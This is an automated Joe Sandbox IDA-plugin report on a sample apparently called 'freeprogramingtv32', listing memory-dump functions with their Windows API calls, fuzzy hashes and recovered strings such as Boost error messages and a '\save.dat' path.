Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: AdjustPointer_memmove
String ID:
API String ID: 1721217611-0
Opcode ID: e1f5df76b802269190e374e85c63d0081ab903f00e896990588012c8fda6307b
Instruction ID: 4de846b73fd86b3944a83847183ead8c89d833321c37fb0ce17b45201ec04362
Opcode Fuzzy Hash: e1f5df76b802269190e374e85c63d0081ab903f00e896990588012c8fda6307b
Instruction Fuzzy Hash: 7D41953760C7039BEB255E68D870BBA3BE6DF01714F28449FE849861E2DF71E580CA55

Function 02BA1260 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,02B94149), ref: 02BA12FF

Part of subcall function 02B93FDC: __EH_prolog.LIBCMT ref: 02B93FE1
Part of subcall function 02B93FDC: CreateEventA.KERNEL32(00000000,?,?,00000000), ref: 02B93FF3

CloseHandle.KERNEL32(00000000), ref: 02BA12F4
CloseHandle.KERNEL32(00000004,?,?,?,?,?,?,?,?,?,?,?,02B94149), ref: 02BA1340
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,02B94149), ref: 02BA1411

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CloseHandle$Event$CreateH_prolog
String ID:
API String ID: 2825413587-0
Opcode ID: ebfe1e83e71e4b4c48bb0cffda842522d965cc05ba15fbe7ea7a319af84cd129
Instruction ID: d4d02a71667c0410065367469c9c3152e3f7c5545f7a0c4f69caa5a60cf8f0e6
Opcode Fuzzy Hash: ebfe1e83e71e4b4c48bb0cffda842522d965cc05ba15fbe7ea7a319af84cd129
Instruction Fuzzy Hash: 4951B0716083059BDF11DF2CC89479A77E4EF88328F1946A9E86D97390DB35D805CF91

Function 02BA36F0 Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 02BA3786
__flush.LIBCMT ref: 02BA37A6
__write.LIBCMT ref: 02BA37D9
__flsbuf.LIBCMT ref: 02BA3807

Part of subcall function 02BA5D9B: __getptd_noexit.LIBCMT ref: 02BA5D9B

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 4b00bb2f2e8909ad1b25914f564552747ffa73792e7b52f6c639d3ed484d2925
Instruction ID: 4c80734a276df80cb5b385a4cad623068e021cbc1f0e4e02d296bdc867cd03a0
Opcode Fuzzy Hash: 4b00bb2f2e8909ad1b25914f564552747ffa73792e7b52f6c639d3ed484d2925
Instruction Fuzzy Hash: C441C4B5A08706ABDB18CFA9C8F09AE7BE6EF44364B1485FDE815C7240D770E941CB40

Function 02BAFE55 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 02BAFE8B
__isleadbyte_l.LIBCMT ref: 02BAFEB9
MultiByteToWideChar.KERNEL32(?,00000009,00000108,?,00000000,00000000), ref: 02BAFEE7
MultiByteToWideChar.KERNEL32(?,00000009,00000108,00000001,00000000,00000000), ref: 02BAFF1D

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 4b7eefa3c262125802cbb401cdd253073147f59b99907343646ad1a5ac719a75
Instruction ID: ed723187afdbe3fa52be955920ab2102a0e7b721048940489ef22f4ec4bb46e1
Opcode Fuzzy Hash: 4b7eefa3c262125802cbb401cdd253073147f59b99907343646ad1a5ac719a75
Instruction Fuzzy Hash: D331E131608246AFDF218E34C854BFA7BA9FF41354F1545A8E86887991E732D851DB90

Function 004047B2 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00001000,00004000,74DEDFF0,?,00000000,?,-@,0040490E,00000010,00402FA3,?,?), ref: 004047F0

Strings

r@, xrefs: 004047B8
-@, xrefs: 004047B2
r@, xrefs: 00404856

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: FreeVirtual
String ID: -@$r@$r@
API String ID: 1263568516-1251997348
Opcode ID: db728298b98a3dab2ecdb4dab480861bd9016d5beafec50a15f5b98851f5bcbc
Instruction ID: a63ca1888fca441bf056fbcf5d5deb39584b298cc2094c54b415f4e68fc1e946
Opcode Fuzzy Hash: db728298b98a3dab2ecdb4dab480861bd9016d5beafec50a15f5b98851f5bcbc
Instruction Fuzzy Hash: EE21A1B66003419BDB20AB24DD4476633A4EB81379F24CA3BDB65B66D0D378E941CB58

Function 02B93D7E Relevance: 6.1, APIs: 4, Instructions: 57networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 02B93DA2

Part of subcall function 02B93BD3: __EH_prolog.LIBCMT ref: 02B93BD8
Part of subcall function 02B93BD3: std::bad_exception::bad_exception.LIBCMT ref: 02B93BED

htonl.WS2_32(00000000), ref: 02B93DB9
htonl.WS2_32(00000000), ref: 02B93DC0
htons.WS2_32(?), ref: 02B93DD4

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: htonlhtons$H_prologstd::bad_exception::bad_exception
String ID:
API String ID: 3882411702-0
Opcode ID: a49fc74bac03038da8b4c9e673e7e85d2bcc384cd15ce5702e05a2dda988dc22
Instruction ID: b9bfbd798daef9cd10a3d736d33e495a69a739875f04f51874f0d3bd69ee7b35
Opcode Fuzzy Hash: a49fc74bac03038da8b4c9e673e7e85d2bcc384cd15ce5702e05a2dda988dc22
Instruction Fuzzy Hash: 1C118276900209EFCF019F64D885A5AB7B9EF49310F0084A6FC04DF205DB719A54DBA1

Function 02B9239D Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000), ref: 02B923D0
RtlEnterCriticalSection.NTDLL(?), ref: 02B923DE
InterlockedExchange.KERNEL32(?,00000001), ref: 02B92401
RtlLeaveCriticalSection.NTDLL(?), ref: 02B92408

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompletionEnterExchangeInterlockedLeavePostQueuedStatus
String ID:
API String ID: 4018804020-0
Opcode ID: 8a307a603a9b3f9be76c7fa9f03d5176a5d2a6b4e0752c68e9db207e7c9f5267
Instruction ID: 4210b656dedcba248e0e17d14590949ca8f719e5abdd80696d9810cd15dd2c83
Opcode Fuzzy Hash: 8a307a603a9b3f9be76c7fa9f03d5176a5d2a6b4e0752c68e9db207e7c9f5267
Instruction Fuzzy Hash: 3911CE72A00204AFDB109F64D884B6ABBB9FF41744F1044BDEA019B240EBB1E911DBA0

Function 02BAC77B Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 02BAC79F

Part of subcall function 02BACE86: __fltout2.LIBCMT ref: 02BACEAF

__cftog_l.LIBCMT ref: 02BAC7C5
__cftoe_l.LIBCMT ref: 02BAC7F7

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 280091ae5f346f20186c11e9963e2296d22dd81903497990b095b7cb2d9b3257
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: B3011C7600814EBBCF126E84CC618EE3F67BB18358F488496FA1899131D736D5B1EB81

Function 02BABC6D Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02BABC84

Part of subcall function 02BAC29B: ___AdjustPointer.LIBCMT ref: 02BAC2E4

_UnwindNestedFrames.LIBCMT ref: 02BABC9B
___FrameUnwindToState.LIBCMT ref: 02BABCAD
CallCatchBlock.LIBCMT ref: 02BABCD1

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: bf7e6a2e7c15418c5902c0973dae014681d9a77571f4c99d076f4f289f483f1c
Instruction ID: ffd02dd98419a3cc4e95c6054e92a8888f66b4c7dce910ff41227f4555bf8275
Opcode Fuzzy Hash: bf7e6a2e7c15418c5902c0973dae014681d9a77571f4c99d076f4f289f483f1c
Instruction Fuzzy Hash: 31011332004109BBCF126F95CD10EDA3FBAFF58758F044055F92866120D772E8A2DFA0

Function 02B9247D Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 02B924A9
RtlEnterCriticalSection.NTDLL(?), ref: 02B924B8
InterlockedExchange.KERNEL32(?,00000001), ref: 02B924CD
RtlLeaveCriticalSection.NTDLL(?), ref: 02B924D4

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompletionEnterExchangeInterlockedLeavePostQueuedStatus
String ID:
API String ID: 4018804020-0
Opcode ID: 8fa622122724b9b5ad4d24f113c22aafddb1cb72b19b6f9d71bbdefdbe9f133e
Instruction ID: dac7d8512b5e438cb2659aedbc808e5fe3d1254a8c0c8c96297089cad3289fd2
Opcode Fuzzy Hash: 8fa622122724b9b5ad4d24f113c22aafddb1cb72b19b6f9d71bbdefdbe9f133e
Instruction Fuzzy Hash: BDF03C72640205AFDB00AF69EC84F9ABBACFF45750F40446AFA05CB141DBB1E560CFA0

Function 02B92004 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B92009
RtlDeleteCriticalSection.NTDLL(?), ref: 02B92028
CloseHandle.KERNEL32(00000000), ref: 02B92037
CloseHandle.KERNEL32(00000000), ref: 02B9204E

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: CloseHandle$CriticalDeleteH_prologSection
String ID:
API String ID: 2456309408-0
Opcode ID: 79847fa6ea9b6e8a4c95fb8282109df75c714a3e3a3d5902dc599ffdf245d322
Instruction ID: e7a51ee706fbc382d037dc04a23fe660e177ee9cf7e68262894c0dad76a838c0
Opcode Fuzzy Hash: 79847fa6ea9b6e8a4c95fb8282109df75c714a3e3a3d5902dc599ffdf245d322
Instruction Fuzzy Hash: 240186728046049BCB39AF58E508BEAF7F5FF04704F4049AEE84693590CBB56548DF55

Function 02B91E26 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B91E2B
SetEvent.KERNEL32(00000000), ref: 02B91E3F
SetEvent.KERNEL32(?), ref: 02B91E58
SleepEx.KERNEL32(000000FF,00000001), ref: 02B91E62

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Event$H_prologSleep
String ID:
API String ID: 1765829285-0
Opcode ID: 1bcf7c784dae98e3a0021300a4b444aea9fcd62b869dc8880f85891a2bd4f1c3
Instruction ID: 518c1887ca69b6e5762608d0247ee196cf05594ac7c7634982f410512ab21eb6
Opcode Fuzzy Hash: 1bcf7c784dae98e3a0021300a4b444aea9fcd62b869dc8880f85891a2bd4f1c3
Instruction Fuzzy Hash: 02F03036640110DFCB019F94D888B98BBA4FF4D311F5081A9F6199B290CBB59854DB61

Function 0040475C Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,00008000,r@,0040485C,r@,74DEDFF0,?,00000000,?,-@,0040490E,00000010,00402FA3), ref: 0040476B
HeapFree.KERNEL32(00000000,?), ref: 004047A1

Strings

r@, xrefs: 00404771, 0040477C
r@, xrefs: 0040475C, 00404781

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Free$HeapVirtual
String ID: r@$r@
API String ID: 3783212868-1712950306
Opcode ID: 615be266f2133a35edff91ca5e545c140f31fce35e26d2f64644c01e7612d901
Instruction ID: 9f28707f468f96f8ba01f1c404cbd9d3f6c084a3717c71e7c0065962692db169
Opcode Fuzzy Hash: 615be266f2133a35edff91ca5e545c140f31fce35e26d2f64644c01e7612d901
Instruction Fuzzy Hash: C6F01774544210DFC3248F08EE08A427BA0FB88720B11867EF996672E1C371AC50CF88

Function 02B99E88 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B99E8D
_memmove.LIBCMT ref: 02B99F87

Strings

&', xrefs: 02B99F6E

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog_memmove
String ID: &'
API String ID: 3529519853-655172784
Opcode ID: 361fced60099b89e4497b5271b400dc2fdcd8476f2d9ac1203d28525da2b8e2c
Instruction ID: c204fe145208204bd743e0ef1fba957198682444b7a05f2e8b3d7e3fb411c57c
Opcode Fuzzy Hash: 361fced60099b89e4497b5271b400dc2fdcd8476f2d9ac1203d28525da2b8e2c
Instruction Fuzzy Hash: 71613B71D00619DBDF21DFA4C981BEDFBBAEF49310F1481AAD405AB290D770AA45CFA1

Function 00404EBD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 00404ED1

Strings

, xrefs: 00404EF6
, xrefs: 00404F1A

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: ade2e129719512a706aeac876f0a8c01095c6a06ec5d81e25aee3eb1febfb5f9
Instruction ID: e64d793a5bd47a750bf71bc710b27f1b951018593c94bf49e3c2bba34da37a12
Opcode Fuzzy Hash: ade2e129719512a706aeac876f0a8c01095c6a06ec5d81e25aee3eb1febfb5f9
Instruction Fuzzy Hash: 1D416B710142985EEB169714CE59FEB3FE8EB02704F1404F6DA49F61D2C2794924DBBB

Function 02B9959C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000,?,?,?,?,?,?,?,02B98306,?,?,00000000), ref: 02B99603
getsockname.WS2_32(?,?,?), ref: 02B99619

Strings

&', xrefs: 02B9964C

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: ErrorLastgetsockname
String ID: &'
API String ID: 566540725-655172784
Opcode ID: 5adfb63f08369a716628935453de362d9fb5e08eb31bd35635ae71c816941254
Instruction ID: 8d95fd3431113c356049e54fb014632197288361c484688f4318c53276596df3
Opcode Fuzzy Hash: 5adfb63f08369a716628935453de362d9fb5e08eb31bd35635ae71c816941254
Instruction Fuzzy Hash: 3A216072A04208DFDB10DF68D844ACEF7F5FF4D324F1185AAE919EB280DB30A9458B90

Function 02B9CBE2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9CBE7

Part of subcall function 02B9D1C3: std::exception::exception.LIBCMT ref: 02B9D1F2

Part of subcall function 02B9D979: __EH_prolog.LIBCMT ref: 02B9D97E

Part of subcall function 02BA3A8F: _malloc.LIBCMT ref: 02BA3AA7

Part of subcall function 02B9D222: __EH_prolog.LIBCMT ref: 02B9D227

Strings

C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp, xrefs: 02B9CC24
class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void), xrefs: 02B9CC1D

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog$_mallocstd::exception::exception
String ID: C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void)
API String ID: 1953324306-1943798000
Opcode ID: e0e51e3c8faee40dc4e89d3149069a10be77b43297f58259c67c5e55136f169d
Instruction ID: 36439e664faec7d093a515bc07edc181e8dc8a678c39b62b50099e644a5a858e
Opcode Fuzzy Hash: e0e51e3c8faee40dc4e89d3149069a10be77b43297f58259c67c5e55136f169d
Instruction Fuzzy Hash: 8D21A271E012549ADF14EFE9D9546EDBBB9EF05704F1040EEE845AB280DB705A44CF51

Function 02B9CCD7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9CCDC

Part of subcall function 02B9D29A: std::exception::exception.LIBCMT ref: 02B9D2C7

Part of subcall function 02B9DAB0: __EH_prolog.LIBCMT ref: 02B9DAB5

Part of subcall function 02BA3A8F: _malloc.LIBCMT ref: 02BA3AA7

Part of subcall function 02B9D2F7: __EH_prolog.LIBCMT ref: 02B9D2FC

Strings

class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void), xrefs: 02B9CD12
C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp, xrefs: 02B9CD19

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog$_mallocstd::exception::exception
String ID: C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void)
API String ID: 1953324306-412195191
Opcode ID: bf178f5a92d4d9bd379d104b694bf6fafe0c90d3869017292ca3addda7d6f64d
Instruction ID: 3c80ea203528aba22ad9cc03c647fd4baa2ecc07a97003008cd663bbfb22ced4
Opcode Fuzzy Hash: bf178f5a92d4d9bd379d104b694bf6fafe0c90d3869017292ca3addda7d6f64d
Instruction Fuzzy Hash: B3218071E002589BDF04EFE9D854AEDBBB9EF19304F2041EDE846AB240DBB05A44CF91

Function 02B9534D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02B9535D

Part of subcall function 02BA2EEC: __FF_MSGBANNER.LIBCMT ref: 02BA2F03
Part of subcall function 02BA2EEC: __NMSG_WRITE.LIBCMT ref: 02BA2F0A
Part of subcall function 02BA2EEC: RtlAllocateHeap.NTDLL(007F0000,00000000,00000001), ref: 02BA2F2F

SHGetSpecialFolderPathA.SHELL32(00000000,00000000,00000023,00000000), ref: 02B9536F

Strings

\save.dat, xrefs: 02B95383

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: AllocateFolderHeapPathSpecial_malloc
String ID: \save.dat
API String ID: 4128168839-3580179773
Opcode ID: aea636678ce278f2b30ae7222799d759b868be7ab50f7f6b789756665e6dfffe
Instruction ID: 2003706f2c8a3c4f74f3ba05e835677381df3afb85ea164f5462abae0e9c40da
Opcode Fuzzy Hash: aea636678ce278f2b30ae7222799d759b868be7ab50f7f6b789756665e6dfffe
Instruction Fuzzy Hash: E7113A729082457FDF339E658C909AFFFABDF82650B5441F9E84667202DAA21D06C7A0

Function 02B93965 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9396A
std::runtime_error::runtime_error.LIBCPMT ref: 02B939C1

Part of subcall function 02B91410: std::exception::exception.LIBCMT ref: 02B91428

Part of subcall function 02B9A551: __EH_prolog.LIBCMT ref: 02B9A556
Part of subcall function 02B9A551: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 02B9A565
Part of subcall function 02B9A551: __CxxThrowException@8.LIBCMT ref: 02B9A584

Strings

Day of month is not valid for year, xrefs: 02B939AC

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog$Concurrency::cancellation_token::_Exception@8FromImplThrowstd::exception::exceptionstd::runtime_error::runtime_error
String ID: Day of month is not valid for year
API String ID: 1404951899-1521898139
Opcode ID: 035b5a32c862bed0ce813ef4e0a04f761aa1ff3f9cb842f804cf65ad6b39a063
Instruction ID: c7587cfa7e87612a7200696c2628beafda3420b8c3a122bc678ae2c13a8d7e9f
Opcode Fuzzy Hash: 035b5a32c862bed0ce813ef4e0a04f761aa1ff3f9cb842f804cf65ad6b39a063
Instruction Fuzzy Hash: C401D87691420AAADF05EFA4D445AFEB779FF18710F4080AAFC0493300EB748A55DB95

Function 02B9B033 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 02B9FA4A
__CxxThrowException@8.LIBCMT ref: 02B9FA5F

Part of subcall function 02BA3A8F: _malloc.LIBCMT ref: 02BA3AA7

Strings

bad allocation, xrefs: 02B9FA3F

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID: bad allocation
API String ID: 4063778783-2104205924
Opcode ID: c35f68c556fbbe58bd67433758cff7aea10f0f89b3de6c5efab80e2705bd3ae9
Instruction ID: 8913fe1e6cf761fe3454ce9c331ce226305fe67b15f2b5bb3bb5173fb69d6d49
Opcode Fuzzy Hash: c35f68c556fbbe58bd67433758cff7aea10f0f89b3de6c5efab80e2705bd3ae9
Instruction Fuzzy Hash: B6F08270604309AADF04EAA998659BF73EDEB04255B9005EAE925E2680EFF0F6048594

Function 02B93C16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B93C1B
std::bad_exception::bad_exception.LIBCMT ref: 02B93C30

Part of subcall function 02BA23F7: std::exception::exception.LIBCMT ref: 02BA2401

Part of subcall function 02B9A58A: __EH_prolog.LIBCMT ref: 02B9A58F
Part of subcall function 02B9A58A: __CxxThrowException@8.LIBCMT ref: 02B9A5B8

Strings

bad cast, xrefs: 02B93C28

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog$Exception@8Throwstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad cast
API String ID: 1300498068-3145022300
Opcode ID: abc38eaa4ced72803f05fe1d0348e39de3a8c513913b7a56672c91b4a1e137d0
Instruction ID: 71157c1cf6acb09608863b9cb94dac9186f0b8f49038ae931017c42b8aa020a3
Opcode Fuzzy Hash: abc38eaa4ced72803f05fe1d0348e39de3a8c513913b7a56672c91b4a1e137d0
Instruction Fuzzy Hash: D7F0A0729045048BCB1AEF58D450AFAF7B5EF52311F4080EEEE065B250CBB2DA4ACB91

Function 02B93881 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B93886
std::runtime_error::runtime_error.LIBCPMT ref: 02B938A5

Part of subcall function 02B91410: std::exception::exception.LIBCMT ref: 02B91428

Part of subcall function 02B988BF: _memmove.LIBCMT ref: 02B988DF

Strings

Day of month value is out of range 1..31, xrefs: 02B93894

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Day of month value is out of range 1..31
API String ID: 3258419250-1361117730
Opcode ID: e791fad8b4c18725851ace8146658f2bc4419c93f3a1918ae2d5d6be738847f4
Instruction ID: f326c8a8ed1c2d7f4bcb2097a74bcb80453f07966e65b162e68e549c5014a710
Opcode Fuzzy Hash: e791fad8b4c18725851ace8146658f2bc4419c93f3a1918ae2d5d6be738847f4
Instruction Fuzzy Hash: 34E09272E1410497EB25AF988811BFDB779DF48B10F4040DAE40163380DAF519408F95

Function 02B938CD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B938D2
std::runtime_error::runtime_error.LIBCPMT ref: 02B938F1

Part of subcall function 02B91410: std::exception::exception.LIBCMT ref: 02B91428

Part of subcall function 02B988BF: _memmove.LIBCMT ref: 02B988DF

Strings

Year is out of valid range: 1400..10000, xrefs: 02B938E0

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Year is out of valid range: 1400..10000
API String ID: 3258419250-2344417016
Opcode ID: d1449389ca40c2459cee6aca183e547dfae0bfb8b748b93a127e2c35fbf86d85
Instruction ID: dedd89c565055f223df151f105a2a7ca56d07c61df2772a5e3a745d83d012e3f
Opcode Fuzzy Hash: d1449389ca40c2459cee6aca183e547dfae0bfb8b748b93a127e2c35fbf86d85
